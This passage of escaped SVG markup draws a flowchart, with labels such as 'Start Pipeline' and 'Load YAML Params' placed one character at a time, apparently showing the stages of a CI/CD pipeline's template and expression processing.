stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,608 L 408,608' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,656 L 296,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,688 L 200,688' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,688 L 296,688' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,736 L 408,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,784 L 296,784' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,816 L 200,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,816 L 296,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,864 L 296,864' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,896 L 200,896' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,896 L 296,896' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,944 L 296,944' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,976 L 296,976' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,992 L 200,992' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,992 L 408,992' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 160,1040 L 232,1040' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 160,1072 L 232,1072' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,160 L 8,608' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,736 L 8,992' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,0 L 32,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,80 L 32,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,208 L 104,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,288 L 104,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,368 L 104,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,480 L 104,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,560 L 104,592' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,656 L 104,688' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,784 L 104,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,864 L 104,896' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,944 L 104,976' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,32 L 128,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,112 L 128,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 160,1040 L 160,1072' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,240 L 200,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,320 L 200,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,400 L 200,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,448 L 200,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,512 L 200,544' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,592 L 200,608' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,608 L 200,640' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,688 L 200,720' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,816 L 200,848' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,896 L 200,928' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,992 L 200,1024' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 224,0 L 224,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 224,80 L 224,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,1040 L 232,1072' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,208 L 296,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,368 L 296,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,784 L 296,816' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,944 L 296,976' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,160 L 408,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,304 L 408,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,384 L 408,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,512 L 408,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,736 L 408,864' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,896 L 408,992' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,488 L 416,504' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,448 L 424,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,872 L 424,888' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,384 L 448,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,448 L 480,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,560 L 408,568' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,480 L 480,488' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,64 L 128,72' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='144.000000,64.000000 132.000000,58.400002 132.000000,69.599998' fill='currentColor' transform='rotate(90.000000, 128.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 128,144 L 128,152' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='144.000000,144.000000 132.000000,138.399994 132.000000,149.600006' fill='currentColor' transform='rotate(90.000000, 128.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,272 L 200,280' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,272.000000 204.000000,266.399994 204.000000,277.600006' fill='currentColor' transform='rotate(90.000000, 200.000000, 272.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,352 L 200,360' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,352.000000 204.000000,346.399994 204.000000,357.600006' fill='currentColor' transform='rotate(90.000000, 200.000000, 352.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,464 L 200,472' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,464.000000 204.000000,458.399994 204.000000,469.600006' fill='currentColor' transform='rotate(90.000000, 200.000000, 464.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,544 L 200,552' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,544.000000 204.000000,538.400024 204.000000,549.599976' fill='currentColor' transform='rotate(90.000000, 200.000000, 544.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,640 L 200,648' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,640.000000 204.000000,634.400024 204.000000,645.599976' fill='currentColor' transform='rotate(90.000000, 200.000000, 640.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,720 L 200,728' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,720.000000 204.000000,714.400024 204.000000,725.599976' fill='currentColor' transform='rotate(90.000000, 200.000000, 720.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,848 L 200,856' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,848.000000 204.000000,842.400024 204.000000,853.599976' fill='currentColor' transform='rotate(90.000000, 200.000000, 848.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,928 L 200,936' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,928.000000 204.000000,922.400024 204.000000,933.599976' fill='currentColor' transform='rotate(90.000000, 200.000000, 928.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,1024 L 200,1032' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,1024.000000 204.000000,1018.400024 204.000000,1029.599976' fill='currentColor' transform='rotate(90.000000, 200.000000, 1024.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='328.000000,304.000000 316.000000,298.399994 316.000000,309.600006' fill='currentColor' transform='rotate(180.000000, 320.000000, 304.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 448,432 L 448,440' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='464.000000,432.000000 452.000000,426.399994 452.000000,437.600006' fill='currentColor' transform='rotate(90.000000, 448.000000, 432.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 288,288 A 16,16 0 0,1 304,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,304 A 16,16 0 0,1 288,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,480 A 16,16 0 0,1 304,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,480 A 16,16 0 0,0 440,496' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,496 A 16,16 0 0,1 288,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,560 A 16,16 0 0,1 304,576' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,576 A 16,16 0 0,1 288,592' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='100' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='100' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='308' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='580' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='676' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='884' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='100' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='308' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='500' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='580' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='676' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='884' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='308' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='388' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='500' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='580' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='676' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='756' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='884' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='388' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='500' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='580' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='676' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='756' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='804' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='884' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='388' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='500' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='580' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='676' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='756' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='804' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='884' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='964' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='500' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='580' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='676' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='756' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='804' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='884' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='964' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='308' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='388' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='500' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='676' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='756' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='804' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='884' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='964' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='100' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='308' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='388' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='500' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='580' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='676' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='756' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='804' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='884' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='964' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='1060' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='436' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='500' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='580' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='676' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='756' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='804' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='964' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='1060' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='308' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='388' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='580' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='676' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='756' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='884' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='964' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='1060' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='228' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='308' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='388' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='436' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='500' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='580' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='756' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='804' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='884' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='964' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='1060' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='228' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='388' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='500' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='676' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='804' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='884' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='1060' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='308' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='388' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='500' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='580' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='676' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='756' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='884' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='964' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='1060' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='388' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='580' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='676' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='756' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='804' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext 